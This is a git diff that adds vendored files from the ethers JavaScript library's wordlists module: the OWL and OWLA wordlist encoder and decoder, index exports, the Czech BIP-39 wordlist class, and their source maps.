b/node_modules/ethers/lib.esm/wordlists/decode-owl.js.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4BAA4B,EAAE,CAAC,GAAG,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,EAAE;QAClF,IAAI,IAAI,EAAE;YACN,KAAK,IAAI,CAAC,GAAG,QAAQ,CAAC,IAAI,CAAC,EAAE,CAAC,IAAI,CAAC,EAAE,CAAC,EAAE,EAAE;gBAAE,MAAM,CAAC,IAAI,CAAC,GAAG,CAAC,CAAC;aAAE;SAClE;aAAM;YACH,MAAM,CAAC,IAAI,CAAC,IAAI,CAAC,WAAW,EAAE,CAAC,CAAC;SACnC;QACD,OAAO,EAAE,CAAC;IACd,CAAC,CAAC,CAAC;IACH,qBAAqB;IACrB,IAAI,QAAQ,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,cAAe,IAAI,CAAC,SAAS,CAAC,QAAQ,CAAE,EAAE,CAAC,CAAC;KAAE;IAC9E,oBAAoB;IAEpB,OAAO,MAAM,CAAC,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,EAAE,GAAG,CAAC,CAAC;AAC5C,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,SAAS,CAAC,IAAY;IAClC,cAAc,CAAC,IAAI,CAAC,CAAC,CAAC,KAAK,GAAG,EAAE,uBAAuB,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;IAEvE,OAAO,MAAM,CACT,IAAI,CAAC,SAAS,CAAC,CAAC,GAAG,CAAC,GAAG,QAAQ,CAAC,MAAM,CAAC,EACvC,IAAI,CAAC,SAAS,CAAC,CAAC,EAAE,CAAC,GAAG,CAAC,GAAG,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC;AACpD,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/decode-owla.d.ts b/node_modules/ethers/lib.esm/wordlists/decode-owla.d.ts new file mode 100644 index 000000000000..479e6c54a252 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/decode-owla.d.ts @@ -0,0 +1,5 @@ +/** + * @_ignore + */ +export declare function decodeOwlA(data: string, accents: string): Array; +//# sourceMappingURL=decode-owla.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/decode-owla.d.ts.map b/node_modules/ethers/lib.esm/wordlists/decode-owla.d.ts.map new file mode 100644 index 000000000000..bb3d569651f7 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/decode-owla.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"decode-owla.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/decode-owla.ts"],"names":[],"mappings":"AAKA;;GAEG;AACH,wBAAgB,UAAU,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC,CAwBvE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/decode-owla.js b/node_modules/ethers/lib.esm/wordlists/decode-owla.js new file mode 100644 index 000000000000..0bae6acf6d65 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/decode-owla.js @@ -0,0 +1,28 @@ +import { assertArgument } from "../utils/index.js"; +import { decodeBits } from "./bit-reader.js"; +import { decodeOwl } from "./decode-owl.js"; +/** + * @_ignore + */ +export function decodeOwlA(data, accents) { + let words = decodeOwl(data).join(","); + // Inject the accents + accents.split(/,/g).forEach((accent) => { + const match = accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/); + assertArgument(match !== null, "internal error parsing accents", "accents", accents); + let posOffset = 0; + const positions = decodeBits(parseInt(match[3]), match[4]); + const charCode = parseInt(match[2]); + const regex = new RegExp(`([${match[1]}])`, "g"); + words = words.replace(regex, (all, letter) => { + const rem = --positions[posOffset]; + if (rem === 0) { + letter = String.fromCharCode(letter.charCodeAt(0), charCode); + posOffset++; + } + return letter; + }); + }); + return words.split(","); +} +//# sourceMappingURL=decode-owla.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/decode-owla.js.map b/node_modules/ethers/lib.esm/wordlists/decode-owla.js.map new file mode 100644 index 000000000000..98fc88b16938 --- /dev/null +++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AM,CAAC,YAAY,CAAC,MAAM,CAAC,UAAU,CAAC,CAAC,CAAC,EAAE,QAAQ,CAAC,CAAC;gBAC7D,SAAS,EAAE,CAAC;aACf;YACD,OAAO,MAAM,CAAC;QAClB,CAAC,CAAC,CAAC;IACP,CAAC,CAAC,CAAC;IAEH,OAAO,KAAK,CAAC,KAAK,CAAC,GAAG,CAAC,CAAC;AAC5B,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.d.ts b/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.d.ts new file mode 100644 index 000000000000..a646e8246540 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.d.ts @@ -0,0 +1,25 @@ +export declare class BitWriter { + #private; + readonly width: number; + constructor(width: number); + write(value: number): void; + get length(): number; + get data(): string; +} +export interface AccentSet { + accent: number; + follows: string; + positions: Array; + positionsLength: number; + positionData: string; + positionDataLength: number; +} +export declare function extractAccents(words: Array): { + accents: Array; + words: Array; +}; +export declare function encodeOwl(words: Array): { + subs: string; + data: string; +}; +//# sourceMappingURL=encode-latin.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.d.ts.map b/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.d.ts.map new file mode 100644 index 000000000000..3aef41354ac5 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"encode-latin.d.ts","sourceRoot":"","sources":["../../../src.ts/wordlists/generation/encode-latin.ts"],"names":[],"mappings":"AAuIA,qBAAa,SAAS;;IAClB,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC;gBAKX,KAAK,EAAE,MAAM;IAMzB,KAAK,CAAC,KAAK,EAAE,MAAM,GAAG,IAAI;IAW1B,IAAI,MAAM,IAAI,MAAM,CAEnB;IAED,IAAI,IAAI,IAAI,MAAM,CA4BjB;CACJ;AAED,MAAM,WAAW,SAAS;IACtB,MAAM,EAAE,MAAM,CAAC;IACf,OAAO,EAAE,MAAM,CAAC;IAChB,SAAS,EAAE,KAAK,CAAC,MAAM,CAAC,CAAC;IACzB,eAAe,EAAE,MAAM,CAAC;IACxB,YAAY,EAAE,MAAM,CAAC;IACrB,kBAAkB,EAAE,MAAM,CAAC;CAC9B;AAWD,wBAAgB,cAAc,CAAC,KAAK,EAAE,KAAK,CAAC,MAAM,CAAC,GAAG;IAAE,OAAO,EAAE,KAAK,CAAC,SAAS,CAAC,CAAC;IAAC,KAAK,EAAE,KAAK,CAAC,MAAM,CAAC,CAAA;CAAE,CAyExG;AAGD,wBAAgB,SAAS,CAAC,KAAK,EAAE,KAAK,CAAC,MAAM,CAAC,GAAG;IAAE,IAAI,EAAE,MAAM,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,CA4C9E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.js b/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.js new file mode 100644 index 000000000000..ecd8dbedc7e8 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.js @@ -0,0 +1,344 @@ +// OWL Data Format +// +// The Official WordList data format exported by this encoder +// encodes sorted latin-1 words (letters only) based on the +// fact that sorted words have prefixes with substantial +// overlap. +// +// For example, the words: +// [ Another, Apple, Apricot, Bread ] +// could be folded once with a single special character, such +// as ":" to yield: +// [ nother, pple, pricot, :, read ]. +// The First letter has been removed, but can be inferred by +// starting at A and incrementing to the next letter when ":" +// is encountered. +// +// The fold operation can be repeated for large sets as even within +// each folded set, there is substatial overlap in prefix. With the +// second special symbol ";", we get: +// [ ; x 13, other, :, ple, ricot, :, ; x 18, ead ] +// which can be further compressed by using numbers instead of the +// special character: +// [ 13, other, :, ple, ricot, :, 18, ead ] +// and to keep all values within a single byte, we only allow a +// maximum value of 10 (using 0 through 9 to represent 1 through 10), +// we get: +// [ 9, 2, other, :, ple, ricot, :, 9, 7, ead ] +// and we use camel-case to imply the bounrary, giving the final string: +// "92Other:PleRicot:97Ead" +// +// Once the entire latin-1 set has been collapsed, we use the remaining +// printable characters (except " and \, which require 2 bytes to represent +// in string) to substiture for the most common 2-letter pairs of letters +// in the string. +// +// OWLA Accent Format +// +// OWLA first removes all accents, and encodes that data using the OWL +// data format and encodes the accents as a base-64 series of 6-bit +// packed bits representing the distance from one followed letter to the +// next. +// +// For example, the acute accent in a given language may follow either +// a or e, in which case the follow-set is "ae". Each letter in the entire +// set is indexed, so the set of words with the accents: +// "thisA/ppleDoe/sNotMa/tterToMe/" +// " 1^ 2^ 3^ 4^ 5^ 6^ " <-- follow-set members, ALL a's and e's +// which gives the positions: +// [ 0, 2, 3, 4, 6 ] +// which then reduce to the distances +// [ 0, 2, 1, 1, 2 ] +// each of which fit into a 2-bit value, so this can be encoded as the +// base-64 encoded string: +// 00 10 01 01 10 = 001001 1010xx +// +// The base-64 set used has all number replaced with their +// shifted-counterparts to prevent comflicting with the numbers used in +// the fold operation to indicate the number of ";". +import fs from "fs"; +import { id } from "../../hash/id.js"; +import { decodeOwl } from "../decode-owl.js"; +import { decodeOwlA } from "../decode-owla.js"; +const subsChrs = " !#$%&'()*+,-./<=>?@[]^_`{|}~"; +const Word = /^[a-z'`]*$/i; +function fold(words, sep) { + const output = []; + let initial = 97; + for (const word of words) { + if (word.match(Word)) { + while (initial < word.charCodeAt(0)) { + initial++; + output.push(sep); + } + output.push(word.substring(1)); + } + else { + initial = 97; + output.push(word); + } + } + return output; +} +function camelcase(words) { + return words.map((word) => { + if (word.match(Word)) { + return word[0].toUpperCase() + word.substring(1); + } + else { + return word; + } + }).join(""); +} +//let cc = 0, ce = 0; +/* +function getChar(c: string): string { + //if (c === "e") { ce++; } + if (c >= 'a' && c <= 'z') { return c; } + if (c.charCodeAt(1)) { + throw new Error(`bad char: "${ c }"`); + } + //cc++; + return ""; + if (c.charCodeAt(0) === 768) { return "`"; } + if (c.charCodeAt(0) === 769) { return "'"; } + if (c.charCodeAt(0) === 771) { return "~"; } + throw new Error(`Unsupported character: ${ c } (${ c.charCodeAt(0) }, ${ c.charCodeAt(1) })`); +} +function mangle(text: string): { word: string, special: string } { + const result: Array = [ ]; + for (let i = 0; i < text.length; i++) { + const c = getChar(text[i]); + result.push(c); + } + + const word = result.join(""); + if (word[1] >= 'a' && word[1] <= 'z') { return { word, special: " " }; } + return { word: word[0] + word.substring(2), special: word[1] }; +} +*/ +/* + Store: [ accent ][ targets ][ rle data; base64-tail ] + ` ae 3, 100 = (63, 37), 15 + ~ n 63, 64 = (63, 1), 27 +*/ +const Base64 = ")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_"; +export class BitWriter { + width; + #data; + #bitLength; + constructor(width) { + this.width = width; + this.#data = []; + this.#bitLength = 0; + } + write(value) { + const maxValue = ((1 << this.width) - 1); + while (value > maxValue) { + this.#data.push(0); + this.#bitLength += this.width; + value -= maxValue; + } + this.#data.push(value); + this.#bitLength += this.width; + } + get length() { + return 1 + Math.trunc((this.#bitLength + 5) / 6); + } + get data() { + let result = String(this.width); + let bits = 0; + let accum = 0; + const data = this.#data.slice(); + let bitMod = this.#bitLength % 6; + while (bitMod !== 0 && bitMod < 6) { + data.push(0); + bitMod += this.width; + } + for (const value of data) { + accum <<= this.width; + accum |= value; + bits += this.width; + if (bits < 6) { + continue; + } + result += Base64[accum >> (bits - 6)]; + bits -= 6; + accum &= ((1 << bits) - 1); + } + if (result.length !== this.length) { + throw new Error(`Hmm: ${this.length} ${result.length} ${result}`); + } + return result; + } +} +; +function sorted(text) { + const letters = text.split(""); + letters.sort(); + return letters.join(""); +} +// if (c.charCodeAt(0) === 768) { return "`"; } +// if (c.charCodeAt(0) === 769) { return "'"; } +// if (c.charCodeAt(0) === 771) { return "~"; } +export function extractAccents(words) { + // Build a list that maps accents to the letters it can follow + const followsMap = new Map(); + for (const word of words) { + for (let i = 0; i < word.length; i++) { + const c = word[i]; + if (c >= 'a' && c <= 'z') { + continue; + } + // Make sure this positions and codepoint make sense + if (c.charCodeAt(1)) { + throw new Error(`unsupported codepoint: "${c}"`); + } + if (i === 0) { + throw new Error(`unmatched accent: ${c}`); + } + const ac = c.charCodeAt(0), lastLetter = word[i - 1]; + ; + const follows = (followsMap.get(ac) || ""); + if (follows.indexOf(lastLetter) === -1) { + followsMap.set(ac, sorted(follows + lastLetter)); + } + } + } + // Build the positions of each follow-set for those accents + const positionsMap = new Map(); + for (const [accent, follows] of followsMap) { + let count = 0; + for (const word of words) { + for (let i = 0; i < word.length; i++) { + const c = word[i], ac = c.charCodeAt(0); + if (follows.indexOf(c) >= 0) { + count++; + } + if (ac === accent) { + const pos = positionsMap.get(ac) || []; + pos.push(count); + positionsMap.set(ac, pos); + } + } + } + } + const accents = []; + for (const [accent, follows] of followsMap) { + let last = -1; + const positions = (positionsMap.get(accent) || []).map((value, index) => { + const delta = value - last; + last = value; + if (index === 0) { + return value; + } + return delta; + }); + // Find the best encoding of the position data + let positionData = ""; + for (let i = 2; i < 7; i++) { + const bitWriter = new BitWriter(i); + for (const p of positions) { + bitWriter.write(p); + } + if (positionData === "" || bitWriter.length < positionData.length) { + positionData = bitWriter.data; + } + } + const positionsLength = positions.length; + const positionDataLength = positionData.length; + accents.push({ accent, follows, positions, positionsLength, positionData, positionDataLength }); + } + words = words.map((word) => { + let result = ""; + for (let i = 0; i < word.length; i++) { + const c = word[i]; + if (c >= 'a' && c <= 'z') { + result += c; + } + } + return result; + }); + return { accents, words }; +} +// Encode Official WordList +export function encodeOwl(words) { + // Fold the sorted words by indicating delta for the first 2 letters + let data = camelcase(fold(fold(words, ":"), ";")); + // Replace semicolons with counts (e.g. ";;;" with "3") + data = data.replace(/(;+)/g, (all, semis) => { + let result = ""; + while (semis.length) { + let count = semis.length; + if (count > 10) { + count = 10; + } + result += String(count - 1); + semis = semis.substring(count); + } + return result; + }); + // Finds the best option for a shortcut replacement using the + // unused ascii7 characters + function findBest() { + const tally = {}; + const l = 2; + for (let i = l; i < data.length; i++) { + const key = data.substring(i - l, i); + tally[key] = (tally[key] || 0) + 1; + } + const sorted = Object.keys(tally).map((text) => { + return { text, count: tally[text], save: (tally[text] * (text.length - 1)) }; + }); + sorted.sort((a, b) => (b.save - a.save)); + return sorted[0].text; + } + // Make substitutions + let subs = ""; + for (let i = 0; i < subsChrs.length; i++) { + const n = subsChrs[i], o = findBest(); + subs += o; + data = data.split(o).join(n); + } + return { data, subs }; +} +// Returns either: +// - OWL data for accent-free latin-1: { data, accentds: "" } +// - OWLA data for accented latin-1: { data, accents } +function encodeWords(_words) { + const { accents, words } = extractAccents(_words); + const { data, subs } = encodeOwl(words); + const accentData = accents.map(({ accent, follows, positionData }) => { + return `${follows}${accent}${positionData}`; + }).join(","); + return { + data: `0${subs}${data}`, + accents: accentData + }; +} +// CLI +const content = fs.readFileSync(process.argv[2]).toString(); +const words = content.split("\n").filter(Boolean); +const { data, accents } = encodeWords(words); +if (accents) { + const rec = decodeOwlA(data, accents); + console.log("DATA: ", JSON.stringify(data)); + console.log("ACCENTS: ", JSON.stringify(accents)); + console.log("LENGTH: ", data.length); + console.log("CHECKSUM: ", id(content)); + console.log("RATIO: ", Math.trunc(100 * data.length / content.length) + "%"); + if (rec.join("\n") !== words.join("\n")) { + throw new Error("no match!"); + } +} +else { + const rec = decodeOwl(data); + console.log("DATA: ", JSON.stringify(data)); + console.log("LENGTH: ", data.length); + console.log("CHECKSUM: ", id(content)); + console.log("RATIO: ", Math.trunc(100 * data.length / content.length) + "%"); + if (rec.join("\n") !== words.join("\n")) { + throw new Error("no match!"); + } +} +//# sourceMappingURL=encode-latin.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.js.map b/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.js.map new file mode 100644 index 000000000000..9ed5652c1e9e --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/generation/encode-latin.js.map @@ -0,0 +1 @@ +{"version":3,"file":"encode-latin.js","sourceRo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,OAAO,CAAC,MAAM,CAAC,GAAG,GAAG,CAAC,CAAC;IAChF,IAAI,GAAG,CAAC,IAAI,CAAC,IAAI,CAAC,KAAK,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,WAAW,CAAC,CAAC;KAAE;CAC7E;KAAM;IACH,MAAM,GAAG,GAAG,SAAS,CAAC,IAAI,CAAC,CAAC;IAC5B,OAAO,CAAC,GAAG,CAAC,YAAY,EAAE,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,CAAC,CAAC;IAChD,OAAO,CAAC,GAAG,CAAC,YAAY,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC;IACvC,OAAO,CAAC,GAAG,CAAC,YAAY,EAAE,EAAE,CAAC,OAAO,CAAC,CAAC,CAAC;IACvC,OAAO,CAAC,GAAG,CAAC,YAAY,EAAE,IAAI,CAAC,KAAK,CAAC,GAAG,GAAG,IAAI,CAAC,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,GAAG,GAAG,CAAC,CAAC;IAChF,IAAI,GAAG,CAAC,IAAI,CAAC,IAAI,CAAC,KAAK,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,WAAW,CAAC,CAAC;KAAE;CAC7E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/index.d.ts b/node_modules/ethers/lib.esm/wordlists/index.d.ts new file mode 100644 index 000000000000..04a911c838a2 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/index.d.ts @@ -0,0 +1,25 @@ +/** + * A Wordlist is a set of 2048 words used to encode private keys + * (or other binary data) that is easier for humans to write down, + * transcribe and dictate. + * + * The [[link-bip-39]] standard includes several checksum bits, + * depending on the size of the mnemonic phrase. + * + * A mnemonic phrase may be 12, 15, 18, 21 or 24 words long. For + * most purposes 12 word mnemonics should be used, as including + * additional words increases the difficulty and potential for + * mistakes and does not offer any effective improvement on security. + * + * There are a variety of [[link-bip39-wordlists]] for different + * languages, but for maximal compatibility, the + * [English Wordlist](LangEn) is recommended. + * + * @_section: api/wordlists:Wordlists [about-wordlists] + */ +export { Wordlist } from "./wordlist.js"; +export { LangEn } from "./lang-en.js"; +export { WordlistOwl } from "./wordlist-owl.js"; +export { WordlistOwlA } from "./wordlist-owla.js"; +export { wordlists } from "./wordlists.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/index.d.ts.map b/node_modules/ethers/lib.esm/wordlists/index.d.ts.map new file mode 100644 index 000000000000..ecd1d4b63d64 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;GAkBG;AACH,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AACzC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AAEtC,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAChD,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAElD,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/index.js b/node_modules/ethers/lib.esm/wordlists/index.js new file mode 100644 index 000000000000..e3571e6f4fc1 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/index.js @@ -0,0 +1,25 @@ +/** + * A Wordlist is a set of 2048 words used to encode private keys + * (or other binary data) that is easier for humans to write down, + * transcribe and dictate. + * + * The [[link-bip-39]] standard includes several checksum bits, + * depending on the size of the mnemonic phrase. + * + * A mnemonic phrase may be 12, 15, 18, 21 or 24 words long. For + * most purposes 12 word mnemonics should be used, as including + * additional words increases the difficulty and potential for + * mistakes and does not offer any effective improvement on security. + * + * There are a variety of [[link-bip39-wordlists]] for different + * languages, but for maximal compatibility, the + * [English Wordlist](LangEn) is recommended. + * + * @_section: api/wordlists:Wordlists [about-wordlists] + */ +export { Wordlist } from "./wordlist.js"; +export { LangEn } from "./lang-en.js"; +export { WordlistOwl } from "./wordlist-owl.js"; +export { WordlistOwlA } from "./wordlist-owla.js"; +export { wordlists } from "./wordlists.js"; +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/index.js.map b/node_modules/ethers/lib.esm/wordlists/index.js.map new file mode 100644 index 000000000000..6865131acaaa --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/wordlists/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;GAkBG;AACH,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AACzC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AAEtC,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAChD,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAElD,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-cz.d.ts b/node_modules/ethers/lib.esm/wordlists/lang-cz.d.ts new file mode 100644 index 000000000000..c199d4fad70d --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-cz.d.ts @@ -0,0 +1,23 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +/** + * The [[link-bip39-cz]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangCz extends WordlistOwl { + /** + * Creates a new instance of the Czech language Wordlist. + * + * Using the constructor should be unnecessary, instead use the + * [[wordlist]] singleton method. + * + * @_ignore: + */ + constructor(); + /** + * Returns a singleton instance of a ``LangCz``, creating it + * if this is the first time being called. + */ + static wordlist(): LangCz; +} +//# sourceMappingURL=lang-cz.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-cz.d.ts.map b/node_modules/ethers/lib.esm/wordlists/lang-cz.d.ts.map new file mode 100644 index 000000000000..975a36b5743e --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-cz.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-cz.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-cz.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAOhD;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,WAAW;IAEnC;;;;;;;OAOG;;IAGH;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-cz.js b/node_modules/ethers/lib.esm/wordlists/lang-cz.js new file mode 100644 index 000000000000..ed473dbd0746 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-cz.js @@ -0,0 +1,31 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +const words = "0itatkastcenaovo$taouleraeki&chor*teci%enbalodaeladet'!Chn=0Di#%E%^1Resa2Rese3CeT'#0EjKohol0Pu)%0A&sDul#Ekdo)Ke)Ti#Ul|3}aOgan%0FaltI$@tPi,%TmaTronom0LasL{i#Ol0Tobus4Yl:B#}R'?TaUb_U/!U^U+Ur!Xer2A^v#Ambo,An#AtrEp)Ike)KoLohOnzOskevUn{#Usin#Z^Zy2Bl.Bn|})D _D#D'aF{Jar(Kv?LdokLvaN^NkrRzaTikVolZola3D+tL.T'#0Ukot:PartRev&3DrDu+J/JnLaLerLkemLn?N.Nn(N'#NtrumNzZ(2O&2KolivUv!4It_N(0Dn(Ke)KrPot0Ak~AlIkRkot2Kli$a:L-oRe[T_Tum1E,1B!a}'#Cib_Fic Fla%KlKr{Mokr!PreseRbyS#T-tiv3Kob,zKt|O^P]mSkSp+jV`]V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ln Oz'#3D,v ElEn.L.N!:GonL/aL*nNaN^lNil#RanRhanyR|1ElkuHod0Ova0DroGe)%J%Lbl*dL{rhL _LmocLry[Nk'Ran^RzeS_#SkrzeSn?SpoduS)Ter.Ver#3B,%}rDeoh,D.D+LaN?S{Tal aZeZ #0Ezd0L`Us0Aj#AkAs>EvoHk(IvN'#Oup!1Uc|Uk0DaDiv(Doz&kD$voJ@skyJ&JskoLantL[L LnoSk'#Zid]Z'&0Ravo1Ab>A%tAhA)Ba}o+kH!StvaTu+0Ad T*p Tup0Ip4Bav Br!}|D!D,Fot H+d!H~Hod H,d Hub Jasn J{Jm=K]p Kon!L-!Maz!Mez Miz{Mys+tNe/!Nik!Nut P`!Pl! P,v Pu$ Raz R'n!Rv!Sl' SokoS)v Su~Syp!Tas Tes!Tr! Vi~Vol!Vrh_Zdob Zn!0AduBud }op DJ{Ji$ K+p!K*p Lep Mez Mot!Mys+tNe/!Nik!Pl! Poj Ps!Raz S)v Su~Taj Temn Tk~Ujm=Val Ve+tVin Vol!Vrt!Zvon 0Av RusuUd|Yt-1A+#ArmaAtn(IvoOb RojVihYm`]0L@.ManM.Pt!Z`uZdola2At Lt~Lubo#Ot' Ru[0MaMn?0Emn 0Lam!Oum!R!#Umav#0AtoEh#O[OmO$Ozvyk0Ap|ArAt-IjeIz{Ocn Odr!Rzl.Ut|0AkAl(Am@!Ovu0B,z Tav Ub-Ufa+0Lod Omal RavaR( Rud#Rvu1A^An C`]N (NoOv&Y/l Zav(1I/aR! 0B'.Br0Ed~EnkuEs_aOnR!Uk'odYk"; +const checksum = "0x25f44555f4af25b51a711136e1c7d6e50ce9f8917d39d6b1f076b2bb4d2fac1a"; +let wordlist = null; +/** + * The [[link-bip39-cz]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export class LangCz extends WordlistOwl { + /** + * Creates a new instance of the Czech language Wordlist. + * + * Using the constructor should be unnecessary, instead use the + * [[wordlist]] singleton method. + * + * @_ignore: + */ + constructor() { super("cz", words, checksum); } + /** + * Returns a singleton instance of a ``LangCz``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangCz(); + } + return wordlist; + } +} +//# sourceMappingURL=lang-cz.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-cz.js.map b/node_modules/ethers/lib.esm/wordlists/lang-cz.js.map new file mode 100644 index 000000000000..b05fe8ae4f5d --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-cz.js.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-cz.js","sourceRoot":"","sources":["../../src.ts/wordlists/lang-cz.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAEhD,MAAM,KAAK,GAAG,q9NAAq9N,CAAC;AACp+N,MAAM,QAAQ,GAAG,oEAAoE,CAAC;AAEtF,IAAI,QAAQ,GAAkB,IAAI,CAAC;AAEnC;;;;GAIG;AACH,MAAM,OAAO,MAAO,SAAQ,WAAW;IAEnC;;;;;;;OAOG;IACH,gBAAgB,KAAK,CAAC,IAAI,EAAE,KAAK,EAAE,QAAQ,CAAC,CAAC,CAAC,CAAC;IAE/C;;;OAGG;IACH,MAAM,CAAC,QAAQ;QACX,IAAI,QAAQ,IAAI,IAAI,EAAE;YAAE,QAAQ,GAAG,IAAI,MAAM,EAAE,CAAC;SAAE;QAClD,OAAO,QAAQ,CAAC;IACpB,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-en.d.ts b/node_modules/ethers/lib.esm/wordlists/lang-en.d.ts new file mode 100644 index 000000000000..87a3234bb8b9 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-en.d.ts @@ -0,0 +1,23 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +/** + * The [[link-bip39-en]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangEn extends WordlistOwl { + /** + * Creates a new instance of the English language Wordlist. + * + * This should be unnecessary most of the time as the exported + * [[langEn]] should suffice. + * + * @_ignore: + */ + constructor(); + /** + * Returns a singleton instance of a ``LangEn``, creating it + * if this is the first time being called. + */ + static wordlist(): LangEn; +} +//# sourceMappingURL=lang-en.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-en.d.ts.map b/node_modules/ethers/lib.esm/wordlists/lang-en.d.ts.map new file mode 100644 index 000000000000..1a3bf42a6818 --- /dev/null +++ b/node_modules/ethers/lib.esm/wordlists/lang-en.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-en.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-en.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAOhD;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,WAAW;IAEnC;;;;;;;OAOG;;IAGH;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/wordlists/lang-en.js b/node_modules/ethers/lib.esm/wordlists/lang-en.js new file mode 100644 index 000000000000..142bea399cca --- /dev/null +++ 